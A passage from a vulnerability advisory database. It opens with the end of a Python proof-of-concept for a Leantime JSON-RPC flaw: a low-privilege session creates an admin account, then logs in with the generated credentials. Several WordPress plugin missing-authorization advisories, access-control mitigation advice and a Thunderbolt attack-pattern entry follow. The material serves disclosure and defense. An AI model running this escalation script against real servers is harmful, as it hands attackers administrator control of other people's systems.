leantime.rpc.api.api.createApiKeyWithProjects with role=40 (admin) \"\n \"using ONLY the low-privilege session from step 1 ...\")\n esc_resp = rpc_call(\n s,\n base_url,\n \"leantime.rpc.api.api.createApiKeyWithProjects\",\n {\"values\": {\"firstname\": \"poc-escalated-admin-key\", \"role\": 40, \"status\": \"a\"}, \"projects\": []},\n )\n\n try:\n esc_json = esc_resp.json()\n except ValueError:\n print(f\"[!] Non-JSON response (HTTP {esc_resp.status_code}): {esc_resp.text[:500]}\")\n sys.exit(1)\n\n if \"error\" in esc_json:\n print(f\"[!] Exploit call failed: {esc_json[\u0027error\u0027]}\")\n print(\" (If this is \u0027Method is not available via API\u0027 or an AuthorizationException, \"\n \"the target may already be patched.)\")\n sys.exit(1)\n\n result = esc_json[\"result\"]\n new_user = result[\"user\"]\n new_pass = result[\"passwordClean\"]\n new_role = result[\"role\"]\n new_id = result[\"id\"]\n api_key = f\"lt_{new_user}_{new_pass}\"\n\n print(\"[+] VULNERABLE: server created a new account with attacker-chosen role, \"\n \"with no permission check on the calling (low-privilege) account.\")\n print(f\" New account id={new_id} role={new_role} (40 == admin)\")\n print(f\" Generated credentials -- username: {new_user} password: {new_pass}\")\n print(f\" (Nominal API key form: {api_key} -- see note below.)\")\n\n # Step 4: prove the new account carries real, interactive admin privilege\n # by logging in through the ORDINARY web login form and hitting the same\n # admin-only page that blocked the original low-privilege account.\n print(\"[*] Logging in through the normal web UI with the generated credentials ...\")\n admin_session = requests.Session()\n admin_session.verify = verify\n admin_session.get(f\"{base_url}/auth/login\")\n admin_login_resp = admin_session.post(\n f\"{base_url}/auth/login\",\n data={\"username\": new_user, \"password\": new_pass, \"redirectUrl\": \"/dashboard/home\"},\n allow_redirects=False,\n )\n if admin_login_resp.status_code not in (302, 303):\n print(f\"[!] Web login with generated credentials failed (HTTP {admin_login_resp.status_code}).\")\n sys.exit(1)\n\n admin_check_resp = admin_session.get(f\"{base_url}{args.admin_check_path}\", allow_redirects=False)\n if admin_check_resp.status_code == 200:\n print(f\"[+] CONFIRMED: the account created by a LOW-PRIVILEGE user now has full, \"\n f\"interactive admin access to {args.admin_check_path} (HTTP 200) -- \"\n f\"the exact page that returned 403 for the original account in step 2.\")\n else:\n print(f\"[!] Expected HTTP 200 from {args.admin_check_path} with the escalated account, \"\n f\"got {admin_check_resp.status_code}.\")\n\nif __name__ == \"__main__\":\n main()\n```\n\n---\n\n**Maintainer note (resolution):** Addressed by the native permission engine (v3.9.0): the affected JSON-RPC service methods now carry #[RequiresPermission] and are enforced at the API boundary (users/clients/projects mutations require the appropriate permission; self-escalation via editUser/patchUser is blocked). Remaining gates ship in the upcoming release.",
"id": "GHSA-54mm-6729-r5wp",
"modified": "2026-10-15T20:14:43Z",
"published": "2026-10-15T20:14:43Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Leantime/leantime/security/advisories/GHSA-54mm-6729-r5wp"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-85990"
},
{
"type": "WEB",
"url": "https://github.com/Leantime/leantime/pull/3583"
},
{
"type": "WEB",
"url": "https://github.com/Leantime/leantime/pull/3797"
},
{
"type": "WEB",
"url": "https://github.com/Leantime/leantime/commit/5605e5ee86bbd01acb85c6b5d8fb337faf8bcf02"
},
{
"type": "WEB",
"url": "https://github.com/Leantime/leantime/commit/7ebf7a9517e2aaa05ec15b8130ab1841a4bde43e"
},
{
"type": "PACKAGE",
"url": "https://github.com/Leantime/leantime"
},
{
"type": "WEB",
"url": "https://github.com/Leantime/leantime/releases/tag/v3.10.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Leantime: Any Authenticated User Can Self-Escalate to Admin via Unauthorized JSON-RPC Methods"
}
GHSA-54PQ-M8WJ-92V3
Vulnerability from github – Published: 2025-03-14 06:30 – Updated: 2025-03-14 06:30The VidoRev Extensions plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on the 'vidorev_import_single_video' AJAX action in all versions up to, and including, 2.9.9.9.9.9.5. This makes it possible for unauthenticated attackers to import arbitrary youtube videos.
{
"affected": [],
"aliases": [
"CVE-2025-0955"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-03-14T05:15:41Z",
"severity": "MODERATE"
},
"details": "The VidoRev Extensions plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on the \u0027vidorev_import_single_video\u0027 AJAX action in all versions up to, and including, 2.9.9.9.9.9.5. This makes it possible for unauthenticated attackers to import arbitrary youtube videos.",
"id": "GHSA-54pq-m8wj-92v3",
"modified": "2025-03-14T06:30:42Z",
"published": "2025-03-14T06:30:42Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-0955"
},
{
"type": "WEB",
"url": "https://themeforest.net/item/vidorev-video-wordpress-theme/21798615"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/e8c15662-e4df-4a74-bb01-266eeb4879c5?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-54QG-GRQX-45XX
Vulnerability from github – Published: 2025-06-06 15:30 – Updated: 2026-04-01 18:35Missing Authorization vulnerability in eleopard Behance Portfolio Manager allows Exploiting Incorrectly Configured Access Control Security Levels. This issue affects Behance Portfolio Manager: from n/a through 1.7.4.
{
"affected": [],
"aliases": [
"CVE-2025-29010"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-06-06T13:15:31Z",
"severity": "MODERATE"
},
"details": "Missing Authorization vulnerability in eleopard Behance Portfolio Manager allows Exploiting Incorrectly Configured Access Control Security Levels. This issue affects Behance Portfolio Manager: from n/a through 1.7.4.",
"id": "GHSA-54qg-grqx-45xx",
"modified": "2026-04-01T18:35:19Z",
"published": "2025-06-06T15:30:46Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-29010"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/plugin/portfolio-manager-powered-by-behance/vulnerability/wordpress-behance-portfolio-manager-1-7-4-broken-access-control-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-54RJ-QX28-9GCJ
Vulnerability from github – Published: 2026-05-20 09:30 – Updated: 2026-05-20 09:30The AcyMailing – An Ultimate Newsletter Plugin and Marketing Automation Solution for WordPress plugin for WordPress is vulnerable to Missing Authorization in versions up to, and including, 10.8.2. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for authenticated attackers, with subscriber-level access and above, to modify privileged AcyMailing configuration, export subscriber secret keys, and chain these actions into administrator account takeover when a target administrator email address is known.
{
"affected": [],
"aliases": [
"CVE-2026-5200"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-05-20T08:16:22Z",
"severity": "HIGH"
},
"details": "The AcyMailing \u2013 An Ultimate Newsletter Plugin and Marketing Automation Solution for WordPress plugin for WordPress is vulnerable to Missing Authorization in versions up to, and including, 10.8.2. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for authenticated attackers, with subscriber-level access and above, to modify privileged AcyMailing configuration, export subscriber secret keys, and chain these actions into administrator account takeover when a target administrator email address is known.",
"id": "GHSA-54rj-qx28-9gcj",
"modified": "2026-05-20T09:30:34Z",
"published": "2026-05-20T09:30:34Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-5200"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset/3516422/acymailing"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/f8470662-2247-4159-9dac-f13677c94bdf?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation
- Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries.
- Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
Mitigation
Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].
Mitigation MIT-4.4
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
- For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
Mitigation
- For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page.
- One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
Mitigation
Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.
CAPEC-665: Exploitation of Thunderbolt Protection Flaws
An adversary leverages a firmware weakness within the Thunderbolt protocol, on a computing device to manipulate Thunderbolt controller firmware in order to exploit vulnerabilities in the implementation of authorization and verification schemes within Thunderbolt protection mechanisms. Upon gaining physical access to a target device, the adversary conducts high-level firmware manipulation of the victim Thunderbolt controller SPI (Serial Peripheral Interface) flash, through the use of a SPI Programing device and an external Thunderbolt device, typically as the target device is booting up. If successful, this allows the adversary to modify memory, subvert authentication mechanisms, spoof identities and content, and extract data and memory from the target device. Currently 7 major vulnerabilities exist within Thunderbolt protocol with 9 attack vectors as noted in the Execution Flow.